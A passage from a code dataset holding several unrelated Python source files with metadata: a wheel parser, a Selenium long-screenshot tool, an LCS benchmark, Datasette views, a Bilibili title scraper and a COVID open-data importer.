"usage_type": "call"}, {"api_name": "win32gui.GetWindowRect", "line_number": 124, "usage_type": "call"}, {"api_name": "PIL.ImageGrab.grab", "line_number": 125, "usage_type": "call"}, {"api_name": "PIL.ImageGrab", "line_number": 125, "usage_type": "name"}, {"api_name": "PIL.Image.open", "line_number": 129, "usage_type": "call"}, {"api_name": "PIL.Image", "line_number": 129, "usage_type": "name"}, {"api_name": "PIL.ImageTk.PhotoImage", "line_number": 131, "usage_type": "call"}, {"api_name": "PIL.ImageTk", "line_number": 131, "usage_type": "name"}, {"api_name": "tkinter.Label", "line_number": 133, "usage_type": "call"}, {"api_name": "tkinter.ROUND", "line_number": 146, "usage_type": "attribute"}, {"api_name": "tkinter.TRUE", "line_number": 146, "usage_type": "attribute"}, {"api_name": "tkinter.mainloop", "line_number": 151, "usage_type": "call"}]} {"seq_id": "256629136", "text": "import os\nimport pkginfo\nimport zipfile\nimport pkg_resources\nimport glob\n\nfrom typing import Dict, Optional\n\n\nclass Wheel(object):\n def __init__(self, path):\n self._path = path\n\n def path(self):\n return self._path\n\n def name(self):\n return self.metadata().name\n\n def metadata(self):\n return pkginfo.get_metadata(self.path())\n\n def dependencies(self, extras_requested=None):\n if not extras_requested:\n # Provide an extra to safely evaluate the markers\n # without matching any extra\n extras_requested = [\"\"]\n\n dependency_set = set()\n\n for req in self.metadata().requires_dist:\n r = pkg_resources.Requirement(req)\n\n if r.marker is None or any(\n r.marker.evaluate({\"extra\": extra}) for extra in extras_requested\n ):\n dependency_set.add(r.name)\n\n return dependency_set\n\n def unzip(self, directory):\n with zipfile.ZipFile(self.path(), \"r\") as whl:\n whl.extractall(directory)\n\n\ndef get_dist_info(extracted_whl_directory) -> str:\n dist_info_dirs = glob.glob(os.path.join(extracted_whl_directory, \"*.dist-info\"))\n if not dist_info_dirs:\n raise ValueError(\n f\"No *.dist-info directory found. {extracted_whl_directory} is not a valid Wheel.\"\n )\n elif len(dist_info_dirs) > 1:\n raise ValueError(\n f\"Found more than 1 *.dist-info directory. {extracted_whl_directory} is not a valid Wheel.\"\n )\n else:\n dist_info = dist_info_dirs[0]\n return dist_info\n\n\ndef get_dot_data_directory(extracted_whl_directory) -> Optional[str]:\n # See: https://www.python.org/dev/peps/pep-0491/#the-data-directory\n dot_data_dirs = glob.glob(os.path.join(extracted_whl_directory, \"*.data\"))\n if not dot_data_dirs:\n return None\n elif len(dot_data_dirs) > 1:\n raise ValueError(\n f\"Found more than 1 *.data directory. {extracted_whl_directory} is not a valid Wheel.\"\n )\n else:\n dot_data_dir = dot_data_dirs[0]\n return dot_data_dir\n\n\ndef parse_WHEEL_file(whl_file_path: str) -> Dict[str, str]:\n contents = {}\n with open(whl_file_path, \"r\") as f:\n for line in f:\n cleaned = line.strip()\n if not cleaned:\n continue\n try:\n key, value = cleaned.split(\":\", maxsplit=1)\n contents[key] = value.strip()\n except ValueError:\n raise RuntimeError(f\"Encounted invalid line in WHEEL file: '{cleaned}'\")\n return contents\n", "sub_path": "src/wheel.py", "file_name": "wheel.py", "file_ext": "py", "file_size_in_byte": 2601, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "pkginfo.get_metadata", "line_number": 21, "usage_type": "call"}, {"api_name": "pkg_resources.Requirement", "line_number": 32, "usage_type": "call"}, {"api_name": "zipfile.ZipFile", "line_number": 42, "usage_type": "call"}, {"api_name": "glob.glob", "line_number": 47, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 47, "usage_type": "call"}, {"api_name": "os.path", "line_number": 47, "usage_type": "attribute"}, {"api_name": "glob.glob", "line_number": 63, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 63, "usage_type": "call"}, {"api_name": "os.path", "line_number": 63, "usage_type": "attribute"}, {"api_name": "typing.Optional", "line_number": 61, "usage_type": "name"}, {"api_name": "typing.Dict", "line_number": 75, "usage_type": "name"}]} {"seq_id": "448955270", "text": "#!/usr/bin/env python\n# -*- coding: UTF-8 -*-\n\n#参考程序：http://www.cnblogs.com/sparkling-ly/p/5466644.html\nfrom selenium import webdriver\nimport os\nimport time\nfrom PIL import Image\nimport getsave_fn\n\n#本方法用于chrome和edge浏览器获取网页的长截图\ndef chrome_capture(url,savepath='baseimages',whichbrowser='Chrome'):\n \"\"\"chrome截屏\n url- 要截屏的url\n pix_w- 窗口宽\n pix_h- 窗口高\n filename-生成截图的文件名\n \"\"\"\n global real_scroll_h\n global image_pix_h\n pix_h=800#定义页面每次滚动的高度\n image_pix_h = pix_h#分图片的高度等于每次滚动的高度\n if whichbrowser=='Chrome':\n pix_w=1947-26\n driver = webdriver.Chrome()\n driver.set_window_size(pix_w, pix_h + 85 + 47) # 原来是89，猜测为浏览器头的高度，实测是85,47是被自动化软件控制的通知条的高度\n elif whichbrowser=='Edge':\n pix_w = 1947 - 32\n driver = webdriver.Edge()\n driver.set_window_size(pix_w, pix_h + 84) # Edge浏览器的头高度为76,但实际截图时发现84可得到完美的图片\n print('pix_w:', pix_w)\n elif whichbrowser=='Firefox':\n pix_w = 1947 - 32\n driver = webdriver.Firefox()\n driver.set_window_size(pix_w, pix_h+109)#Firefox的浏览器头高为109，实际截图时发现**可得到完美的图片\n print('pix_w:', pix_w)\n else:#IE11\n pix_w = 1947-32\n driver = webdriver.Ie()\n driver.set_window_size(pix_w, pix_h+55+7) # IE浏览器的头高度为55,但实际截图时发现84可得到完美的图片(793),使用QQ截图时，自动捕获的浏览器窗口和此处设置的x、y值完全相同，但是实际测量窗口高度是少了7个像素，不知为何有7个像素的高度不可见。\n print('pix_w:',pix_w)\n\n driver.get('http://'+url)\n time.sleep(2)\n img_list = []\n i = 0\n last_t=0\n while i < 20:\n #滚动到指定位置并等待1s\n print('滚动前whichbrowser的值：',whichbrowser)\n if whichbrowser=='Chrome' or whichbrowser=='Firefox' or whichbrowser=='IE':\n js_chrome=\"document.documentElement.scrollTop=\"+str(i * pix_h)#在chrome上工作良好\n driver.execute_script(js_chrome)\n time.sleep(2)\n # 通过js获取当前页面的总长度和滚动条目前所在的位置\n js_chrome_scroll = \"return document.body.scrollHeight.toString()+','+document.documentElement.scrollTop\" # chrome\n js1_result = driver.execute_script(js_chrome_scroll)\n elif whichbrowser=='Edge':\n js_edge=\"document.body.scrollTop=\"+str(i * pix_h)\n driver.execute_script(js_edge)\n time.sleep(2)\n # 通过js获取当前页面的总长度和滚动条目前所在的位置\n js_edge_scroll = \"return document.body.scrollHeight.toString()+','+document.body.scrollTop.toString()\"#Edge\n js1_result = driver.execute_script(js_edge_scroll)\n\n print('js1_result:'+js1_result)\n real_scroll_h, real_top = js1_result.split(',')[0], js1_result.split(',')[1]\n # real_scroll_h, real_top 是当前滚动条长度和当前滚动条的top，作为是否继续执行的依据，由于存在滚动条向下拉动后会加载新内容的情况，所以需要以下的判断\n #real_scroll_h可以看做是页面的总长度，real_top是目前滚动条(看做一个点)所在的位置。\n # 如果这次设置的top成功，则继续滚屏\n if real_top == str(i * pix_h):\n i += 1\n print('存储图片名：''.\\\\cache-' + str(i) + '.png')\n driver.save_screenshot('.\\\\cache-'+ str(i) + '.png')#获取当前页面的截图\n img_list.append('.\\\\cache-'+ str(i) + '.png')#把当前页面的截图文件名存入数组\n last_t = real_top\n print('当前滚动条位置'+real_top)\n else:\n # 如果本次设置失败，看这次的top和上一次记录的top值是否相等，相等则说明没有新加载内容，且已到页面底，跳出循环\n if real_top != last_t:\n last_t = real_top\n else:\n driver.save_screenshot('.\\\\cache-' + str(i + 1) + '.png')\n img_list.append('.\\\\cache-' + str(i + 1) + '.png')\n break\n driver.close()\n # 生成图片的文件名\n save_fn = getsave_fn.save_fn(url, savepath, whichbrowser)\n print('save_fn in chromecapture:' + save_fn)\n image_merge(img_list,save_fn,whichbrowser)\n\n\ndef image_merge(images,save_fn,whichbrowser):\n \"\"\"垂直合并多张图片\n images - 要合并的图片路径列表\n ouput_dir - 输出路径\n output_name - 输出文件名\n \"\"\"\n\n max_width = 0\n # 计算合成后图片的宽度（以最宽的为准）和高度\n for img_path in images:\n if os.path.exists(img_path):\n img = Image.open(img_path)\n width, height = img.size\n if width > max_width:\n max_width = width\n print('max_width:',max_width)\n total_height=int(real_scroll_h)\n print('total_height:',total_height)\n\n\n # 产生一张空白图\n new_img = Image.new('RGB', (max_width, total_height), 255)\n\n # 合并\n x = y = 0\n for img_path in images:\n if os.path.exists(img_path):\n img = Image.open(img_path)\n width, height = img.size\n new_img.paste(img, (x, y))\n if y <= total_height-2*image_pix_h:\n y += height\n else:\n y = total_height-image_pix_h # 最后一次滚动高度不足一屏时，图片有部分重合，以底部为准\n\n if whichbrowser=='Chrome':\n bounds=(0,0,new_img.size[0]-18,new_img.size[1])\n last_img=new_img.crop(bounds)\n last_img.save(save_fn)\n else:\n bounds = (0, 0, new_img.size[0] - 12, new_img.size[1])\n last_img = new_img.crop(bounds)\n last_img.save(save_fn)\n\n print('图片合成已完成')\n #需要在此处加入裁切图片的步骤，裁掉右侧宽为7个像素的滚动条\n for img_path in images:\n os.remove(img_path)\n print('缓存分页图片已删除',img_path)\n return save_fn\n\n\nif __name__=='__main__':\n chrome_capture('www.meizu.com/pro7', savepath='newimages',whichbrowser='Edge')", "sub_path": "chromecapture.py", "file_name": "chromecapture.py", "file_ext": "py", "file_size_in_byte": 6395, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "selenium.webdriver.Chrome", "line_number": 25, "usage_type": "call"}, {"api_name": "selenium.webdriver", "line_number": 25, "usage_type": "name"}, {"api_name": "selenium.webdriver.Edge", "line_number": 29, "usage_type": "call"}, {"api_name": "selenium.webdriver", "line_number": 29, "usage_type": "name"}, {"api_name": "selenium.webdriver.Firefox", "line_number": 34, "usage_type": "call"}, {"api_name": "selenium.webdriver", "line_number": 34, "usage_type": "name"}, {"api_name": "selenium.webdriver.Ie", "line_number": 39, "usage_type": "call"}, {"api_name": "selenium.webdriver", "line_number": 39, "usage_type": "name"}, {"api_name": "time.sleep", "line_number": 44, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 54, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 61, "usage_type": "call"}, {"api_name": "getsave_fn.save_fn", "line_number": 88, "usage_type": "call"}, {"api_name": "os.path.exists", "line_number": 103, "usage_type": "call"}, {"api_name": "os.path", "line_number": 103, "usage_type": "attribute"}, {"api_name": "PIL.Image.open", "line_number": 104, "usage_type": "call"}, {"api_name": "PIL.Image", "line_number": 104, "usage_type": "name"}, {"api_name": "PIL.Image.new", "line_number": 114, "usage_type": "call"}, {"api_name": "PIL.Image", "line_number": 114, "usage_type": "name"}, {"api_name": "os.path.exists", "line_number": 119, "usage_type": "call"}, {"api_name": "os.path", "line_number": 119, "usage_type": "attribute"}, {"api_name": "PIL.Image.open", "line_number": 120, "usage_type": "call"}, {"api_name": "PIL.Image", "line_number": 120, "usage_type": "name"}, {"api_name": "os.remove", "line_number": 140, "usage_type": "call"}]} {"seq_id": "440925901", "text": "import random as r\nimport sys\nimport matplotlib.pyplot as plt\n\n\nr.seed()\narr = []\ncompares = 0\nsys.setrecursionlimit(1500)\n\n\ndef lcs_length(x, y):\n global compares\n m = len(x)\n n = len(y)\n b = [[0 for el1 in x] for row1 in x]\n c = [[0 for el2 in y] for row2 in y]\n for i in range(1, m):\n for j in range(1, n):\n if x[i] == y[j]:\n c[i][j] = c[i-1][j-1] + 1\n b[i][j] = \"upleft\"\n compares += 1\n elif c[i-1][j] >= c[i][j-1]:\n c[i][j] = c[i-1][j]\n b[i][j] = \"up\"\n compares += 1\n else:\n c[i][j] = c[i][j-1]\n b[i][j] = \"left\"\n compares += 1\n return c, b\n\n\ndef lcs_print(b, x, i, j):\n global compares\n if i == 0 or j == 0:\n return\n if b[i][j] == \"upleft\":\n lcs_print(b, x, i-1, j-1)\n arr.append(x[i])\n compares += 1\n elif b[i][j] == \"up\":\n lcs_print(b, x, i - 1, j)\n compares += 1\n else:\n lcs_print(b, x, i, j - 1)\n compares += 1\n\nres = []\nresult = []\nfor value in range(1, 200, 10):\n for test in range(100):\n ar1 = [r.randint(0, 19) for num1 in range(value)]\n ar2 = [r.randint(0, 19) for num2 in range(value)]\n compares = 0\n arr = []\n lcs_print(lcs_length(ar1, ar2)[1], ar1, len(ar1) - 1, len(ar1) - 1)\n res.append(compares)\n print(\"Test:\" + str(value) + \" completed.\")\nfor i in range(0, 20):\n result.append(sum(res[i * 100: i * 100 + 100]) / 100)\nar1 = [r.randint(0, 9) for num1 in range(20)]\nar2 = [r.randint(0, 9) for num2 in range(20)]\nprint(ar1)\nprint(ar2)\nlcs_print(lcs_length(ar1, ar2)[1], ar1, len(ar1)-1, len(ar1)-1)\nprint(str(arr))\nplt.grid(True)\nplt.ylabel(\"Avg\")\nplt.xlabel(\"Amount of objects\")\nplt.axis([0, 1001, 0, max(result)])\nplt.plot(list(range(1, 201, 10)), result, 'r.-')\nplt.show()\n", "sub_path": "algorytmy5/LCS.py", "file_name": "LCS.py", "file_ext": "py", "file_size_in_byte": 1913, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "random.seed", "line_number": 6, "usage_type": "call"}, {"api_name": "sys.setrecursionlimit", "line_number": 9, "usage_type": "call"}, {"api_name": "random.randint", "line_number": 54, "usage_type": "call"}, {"api_name": "random.randint", "line_number": 55, "usage_type": "call"}, {"api_name": "random.randint", "line_number": 63, "usage_type": "call"}, {"api_name": "random.randint", "line_number": 64, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.grid", "line_number": 69, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 69, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylabel", "line_number": 70, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 70, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 71, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 71, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.axis", "line_number": 72, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 72, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 73, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 73, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 74, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 74, "usage_type": "name"}]} {"seq_id": "427867914", "text": "\nfrom sklearn.model_selection import train_test_split\n\n\n#将数据分为建立模型和测试用，\n#分割基于随机的数字产生器，提供一个数字给 random_state \n#以保证每次运行脚本得到同样的分组\ntrain_X,val_X,train_y,val_y = train_test_split(X,y,random_state=0)\n#define model\nmelbourne_model = DecisionTreeRegressor()\n#fit model\nmelbourne_model.fit(train_X,train_y)\n\n#从 validation data 获得预测值\nval_predictions = melbourne_model.predict(val_X)\nprint(val_predictions)\nprint(mean_absolute_error(val_y,val_predictions))\n\n", "sub_path": "machine_learn/split_data.py", "file_name": "split_data.py", "file_ext": "py", "file_size_in_byte": 558, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "sklearn.model_selection.train_test_split", "line_number": 8, "usage_type": "call"}]} {"seq_id": "287073418", "text": "import os\nimport jinja2\n\nfrom datasette.utils import (\n to_css_class,\n validate_sql_select,\n is_url,\n path_with_added_args,\n path_with_removed_args,\n)\nfrom datasette.utils.asgi import AsgiFileDownload\nfrom datasette.plugins import pm\n\nfrom .base import DatasetteError, DataView\n\n\nclass DatabaseView(DataView):\n name = \"database\"\n\n async def data(self, request, database, hash, default_labels=False, _size=None):\n metadata = (self.ds.metadata(\"databases\") or {}).get(database, {})\n self.ds.update_with_inherited_metadata(metadata)\n\n if request.args.get(\"sql\"):\n if not self.ds.config(\"allow_sql\"):\n raise DatasetteError(\"sql= is not allowed\", status=400)\n sql = request.args.get(\"sql\")\n validate_sql_select(sql)\n return await QueryView(self.ds).data(\n request, database, hash, sql, _size=_size, metadata=metadata\n )\n\n db = self.ds.databases[database]\n\n table_counts = await db.table_counts(5)\n views = await db.view_names()\n hidden_table_names = set(await db.hidden_table_names())\n all_foreign_keys = await db.get_all_foreign_keys()\n\n tables = []\n for table in table_counts:\n table_columns = await db.table_columns(table)\n tables.append(\n {\n \"name\": table,\n \"columns\": table_columns,\n \"primary_keys\": await db.primary_keys(table),\n \"count\": table_counts[table],\n \"hidden\": table in hidden_table_names,\n \"fts_table\": await db.fts_table(table),\n \"foreign_keys\": all_foreign_keys[table],\n }\n )\n\n tables.sort(key=lambda t: (t[\"hidden\"], t[\"name\"]))\n return (\n {\n \"database\": database,\n \"size\": db.size,\n \"tables\": tables,\n \"hidden_count\": len([t for t in tables if t[\"hidden\"]]),\n \"views\": views,\n \"queries\": self.ds.get_canned_queries(database),\n },\n {\n \"show_hidden\": request.args.get(\"_show_hidden\"),\n \"editable\": True,\n \"metadata\": metadata,\n \"allow_download\": self.ds.config(\"allow_download\")\n and not db.is_mutable\n and database != \":memory:\",\n },\n (\"database-{}.html\".format(to_css_class(database)), \"database.html\"),\n )\n\n\nclass DatabaseDownload(DataView):\n name = \"database_download\"\n\n async def view_get(self, request, database, hash, correct_hash_present, **kwargs):\n if database not in self.ds.databases:\n raise DatasetteError(\"Invalid database\", status=404)\n db = self.ds.databases[database]\n if db.is_memory:\n raise DatasetteError(\"Cannot download :memory: database\", status=404)\n if not self.ds.config(\"allow_download\") or db.is_mutable:\n raise DatasetteError(\"Database download is forbidden\", status=403)\n if not db.path:\n raise DatasetteError(\"Cannot download database\", status=404)\n filepath = db.path\n return AsgiFileDownload(\n filepath,\n filename=os.path.basename(filepath),\n content_type=\"application/octet-stream\",\n )\n\n\nclass QueryView(DataView):\n async def data(\n self,\n request,\n database,\n hash,\n sql,\n editable=True,\n canned_query=None,\n metadata=None,\n _size=None,\n ):\n params = {key: request.args.get(key) for key in request.args}\n if \"sql\" in params:\n params.pop(\"sql\")\n if \"_shape\" in params:\n params.pop(\"_shape\")\n # Extract any :named parameters\n named_parameters = self.re_named_parameter.findall(sql)\n named_parameter_values = {\n named_parameter: params.get(named_parameter) or \"\"\n for named_parameter in named_parameters\n }\n\n # Set to blank string if missing from params\n for named_parameter in named_parameters:\n if named_parameter not in params:\n params[named_parameter] = \"\"\n\n extra_args = {}\n if params.get(\"_timelimit\"):\n extra_args[\"custom_time_limit\"] = int(params[\"_timelimit\"])\n if _size:\n extra_args[\"page_size\"] = _size\n results = await self.ds.execute(\n database, sql, params, truncate=True, **extra_args\n )\n columns = [r[0] for r in results.description]\n\n templates = [\"query-{}.html\".format(to_css_class(database)), \"query.html\"]\n if canned_query:\n templates.insert(\n 0,\n \"query-{}-{}.html\".format(\n to_css_class(database), to_css_class(canned_query)\n ),\n )\n\n async def extra_template():\n display_rows = []\n for row in results.rows:\n display_row = []\n for column, value in zip(results.columns, row):\n display_value = value\n # Let the plugins have a go\n # pylint: disable=no-member\n plugin_value = pm.hook.render_cell(\n value=value,\n column=column,\n table=None,\n database=database,\n datasette=self.ds,\n )\n if plugin_value is not None:\n display_value = plugin_value\n else:\n if value in (\"\", None):\n display_value = jinja2.Markup(\" \")\n elif is_url(str(display_value).strip()):\n display_value = jinja2.Markup(\n '{url}'.format(\n url=jinja2.escape(value.strip())\n )\n )\n display_row.append(display_value)\n display_rows.append(display_row)\n return {\n \"display_rows\": display_rows,\n \"custom_sql\": True,\n \"named_parameter_values\": named_parameter_values,\n \"editable\": editable,\n \"canned_query\": canned_query,\n \"metadata\": metadata,\n \"config\": self.ds.config_dict(),\n \"request\": request,\n \"path_with_added_args\": path_with_added_args,\n \"path_with_removed_args\": path_with_removed_args,\n \"hide_sql\": \"_hide_sql\" in params,\n }\n\n return (\n {\n \"database\": database,\n \"query_name\": canned_query,\n \"rows\": results.rows,\n \"truncated\": results.truncated,\n \"columns\": columns,\n \"query\": {\"sql\": sql, \"params\": params},\n },\n extra_template,\n templates,\n )\n", "sub_path": "datasette/views/database.py", "file_name": "database.py", "file_ext": "py", "file_size_in_byte": 7170, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "base.DataView", "line_number": 17, "usage_type": "name"}, {"api_name": "base.DatasetteError", "line_number": 26, "usage_type": "call"}, {"api_name": "datasette.utils.validate_sql_select", "line_number": 28, "usage_type": "call"}, {"api_name": "datasette.utils.to_css_class", "line_number": 73, "usage_type": "call"}, {"api_name": "base.DataView", "line_number": 77, "usage_type": "name"}, {"api_name": "base.DatasetteError", "line_number": 82, "usage_type": "call"}, {"api_name": "base.DatasetteError", "line_number": 85, "usage_type": "call"}, {"api_name": "base.DatasetteError", "line_number": 87, "usage_type": "call"}, {"api_name": "base.DatasetteError", "line_number": 89, "usage_type": "call"}, {"api_name": "datasette.utils.asgi.AsgiFileDownload", "line_number": 91, "usage_type": "call"}, {"api_name": "os.path.basename", "line_number": 93, "usage_type": "call"}, {"api_name": "os.path", "line_number": 93, "usage_type": "attribute"}, {"api_name": "base.DataView", "line_number": 98, "usage_type": "name"}, {"api_name": "datasette.utils.to_css_class", "line_number": 137, "usage_type": "call"}, {"api_name": "datasette.utils.to_css_class", "line_number": 142, "usage_type": "call"}, {"api_name": "datasette.plugins.pm.hook.render_cell", "line_number": 154, "usage_type": "call"}, {"api_name": "datasette.plugins.pm.hook", "line_number": 154, "usage_type": "attribute"}, {"api_name": "datasette.plugins.pm", "line_number": 154, "usage_type": "name"}, {"api_name": "jinja2.Markup", "line_number": 165, "usage_type": "call"}, {"api_name": "datasette.utils.is_url", "line_number": 166, "usage_type": "call"}, {"api_name": "jinja2.Markup", "line_number": 167, "usage_type": "call"}, {"api_name": "jinja2.escape", "line_number": 169, "usage_type": "call"}, {"api_name": "datasette.utils.path_with_added_args", "line_number": 183, "usage_type": "name"}, {"api_name": "datasette.utils.path_with_removed_args", "line_number": 184, "usage_type": "name"}]} {"seq_id": "649421059", "text": "import asyncio\nimport requests\nfrom bs4 import BeautifulSoup as bs\n\n\n@asyncio.coroutine\ndef camera_toggle(onoff):\n resp = requests.get(f\"http://192.168.1.211:8080/0/detection/{onoff}\").text\n soup = bs(resp, \"html.parser\")\n soup = soup.find(\"body\").text.strip()\n status = soup[soup.index(\"Detection\")+10:]\n if status == \"resumed\":\n return \"On\"\n elif status == \"paused\":\n return \"Off\"\n", "sub_path": "pwa/blueprints/landon/services/camera_functions.py", "file_name": "camera_functions.py", "file_ext": "py", "file_size_in_byte": 415, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "requests.get", "line_number": 8, "usage_type": "call"}, {"api_name": "bs4.BeautifulSoup", "line_number": 9, "usage_type": "call"}, {"api_name": "asyncio.coroutine", "line_number": 6, "usage_type": "attribute"}]} {"seq_id": "135979257", "text": "#!/usr/bin/python\n# -*- coding: UTF-8 -*-\nimport requests\nimport os\nimport re\nimport xlwt\nimport xlrd\nfrom xlutils.copy import copy\nurl = r\"https://www.bilibili.com/video/av17879644\"\nheaders = {\n 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8',\n 'Accept-Encoding': 'gzip, deflate, br',\n 'Accept-Language': 'zh-CN,zh;q=0.9,en;q=0.8',\n 'Cache-Control': 'max-age=0',\n 'Connection': 'keep-alive',\n 'Cookie': 'finger=edc6ecda; LIVE_BUVID=AUTO4315255158474705; fts=1525515866; sid=agn7r1c4; buvid3=EA52FCB4-3F10-4E3B-936E-4224DF05DEE520821infoc; rpdid=kxmwxswpsqdosixpkqmxw',\n 'Host': 'www.bilibili.com',\n 'Upgrade-Insecure-Requests': '1',\n 'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36',\n}\nr = requests.get(url,headers = headers)\nhtml = r.content.decode('utf8')\nallpage = re.findall(r'\"page\":(.*?),',html)\nallpart = re.findall(r'\"part\":(.*?),',html)\nfilename = []\ni = 0\nwhile i < 86:\n filename.append(allpage[i] +' '+allpart[i][1:-1])\n i = i + 1\npath1 = r\"C:\\Users\\Administrator.USER-20180422WL\\Desktop\\test.xls\"\nwb = xlrd.open_workbook(path1)\nw = copy(wb)\nx = 0\nfor y in filename:\n w.get_sheet(0).write(x,0,y+'.flv')\n x = x + 1\nw.save(path1)", "sub_path": "提取哔哩哔哩专辑视频名称.py", "file_name": "提取哔哩哔哩专辑视频名称.py", "file_ext": "py", "file_size_in_byte": 1311, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "requests.get", "line_number": 21, "usage_type": "call"}, {"api_name": "re.findall", "line_number": 23, "usage_type": "call"}, {"api_name": "re.findall", "line_number": 24, "usage_type": "call"}, {"api_name": "xlrd.open_workbook", "line_number": 31, "usage_type": "call"}, {"api_name": "xlutils.copy.copy", "line_number": 32, "usage_type": "call"}]} {"seq_id": "223070240", "text": "import csv\nimport json\nimport datetime\nimport glob\nimport os\nimport urllib.request\nfrom patients import PatientsReader\n\nJST = datetime.timezone(datetime.timedelta(hours=+9), 'JST')\n\nclass CovidDataManager:\n def __init__(self):\n self.data = {\n 'contacts':{},\n 'querents':{},\n 'patients':{},\n 'patients_summary':{},\n 'discharges':{},\n 'discharges_summary':{},\n 'inspections':{},\n 'inspections_summary':{},\n 'better_patients_summary':{},\n 'last_update':datetime.datetime.now(JST).isoformat(),\n 'main_summary':{}\n }\n\n def fetch_data(self):\n pr = PatientsReader()\n self.data['patients'] = pr.make_patients_dict()\n self.data['patients_summary'] = pr.make_patients_summary_dict()\n\n def export_csv(self):\n for key in self.data:\n if key == 'last_update' or key == 'main_summary':\n continue\n\n datas = self.data[key]\n if datas == {}:\n continue\n \n maindatas = datas['data']\n header = list(maindatas[0].keys())\n csv_rows = [ header ]\n for d in maindatas:\n csv_rows.append( list(d.values()) )\n\n with open('data/' + key + '.csv', 'w', encoding='utf-8', newline='') as f:\n writer = csv.writer(f)\n writer.writerows(csv_rows)\n\n def export_json(self, filepath='data/data.json'):\n with open(filepath, 'w', encoding='utf-8') as f:\n json.dump(self.data, f, indent=4, ensure_ascii=False)\n\n def export_json_from_name(self, key):\n with open('data/' + key + '.json', 'w', encoding='utf-8') as f:\n json.dump(self.data[key], f, indent=4, ensure_ascii=False)\n\n def import_csv(self):\n csvfiles = glob.glob('./import/*.csv')\n for csvfile in csvfiles:\n filename = os.path.splitext(os.path.basename(csvfile))[0]\n last_modified_time = datetime.datetime.fromtimestamp(os.path.getmtime(csvfile), JST).isoformat()\n datas = []\n with open(csvfile, encoding='utf-8') as f:\n rows = [row for row in csv.reader(f)]\n header = rows[0]\n maindatas = rows[1:]\n for d in maindatas:\n data = {}\n for i in range(len(header)):\n if filename == \"current_patients\":\n if i <= 1:\n if header[i] == '患者数':\n data['subtotal'] = int(d[i])\n if header[i] == '日付':\n data['date'] = d[i]\n else:\n if header[i] == '小計':\n data['subtotal'] = int(d[i])\n if header[i] == '日付':\n data['date'] = d[i]\n datas.append(data)\n\n self.data[filename] = {\n 'data':datas,\n 'last_update':last_modified_time\n }\n\n def import_csv_from_odp(self):\n responce = urllib.request.urlopen('https://www.harp.lg.jp/opendata/api/package_show?id=752c577e-0cbe-46e0-bebd-eb47b71b38bf')\n print(responce.getcode())\n if responce.getcode() == 200:\n loaded_json = json.loads(responce.read().decode('utf-8'))\n if loaded_json['success'] == True:\n resources = loaded_json['result']['resources']\n for resource in resources:\n url = resource['download_url']\n request_file = urllib.request.urlopen(url)\n if request_file.getcode() == 200:\n f = request_file.read().decode('utf-8')\n filename = resource['filename'].rstrip('.csv')\n last_modified_time = resource['updated']\n datas = []\n rows = [row for row in csv.reader(f.splitlines())]\n header = rows[0]\n maindatas = rows[1:]\n for d in maindatas:\n data = {}\n for i in range(len(header)):\n if filename == \"current_patients\":\n if i <= 1:\n if header[i] == '患者数':\n data['subtotal'] = int(d[i])\n if header[i] == '日付':\n data['date'] = d[i]\n else:\n if header[i] == '小計':\n data['subtotal'] = int(d[i])\n if header[i] == '日付':\n data['date'] = d[i]\n datas.append(data)\n\n self.data[filename] = {\n 'data':datas,\n 'last_update':last_modified_time\n }\n\n def import_csv_from_sdp_contacts(self):\n request_file = urllib.request.urlopen('https://ckan.pf-sapporo.jp/dataset/f6338cc2-dd6b-43b6-98a3-cd80b05b6a36/resource/e9e6f062-cafd-4aea-992f-039e2e26f4ac/download/contacts.csv')\n if request_file.getcode() == 200:\n f = request_file.read().decode('utf-8')\n filename = 'contacts'\n datas = []\n rows = [row for row in csv.reader(f.splitlines())]\n header = rows[0]\n maindatas = rows[1:]\n for d in maindatas:\n data = {}\n for i in range(len(header)):\n if header[i] == '小計':\n data['subtotal'] = int(d[i])\n if header[i] == '日付':\n data['date'] = d[i]\n datas.append(data)\n\n self.data[filename] = {\n 'data': datas,\n 'last_update': datetime.datetime.now(JST).isoformat()\n }\n\n def import_csv_from_sdp_querents(self):\n request_file = urllib.request.urlopen('https://ckan.pf-sapporo.jp/dataset/f6338cc2-dd6b-43b6-98a3-cd80b05b6a36/resource/a89ba566-93d1-416a-a269-e0ba48a06636/download/querents.csv')\n if request_file.getcode() == 200:\n f = request_file.read().decode('utf-8')\n filename = 'querents'\n datas = []\n rows = [row for row in csv.reader(f.splitlines())]\n header = rows[0]\n maindatas = rows[1:]\n for d in maindatas:\n data = {}\n for i in range(len(header)):\n if header[i] == '小計':\n data['subtotal'] = int(d[i])\n if header[i] == '日付':\n data['date'] = d[i]\n datas.append(data)\n\n 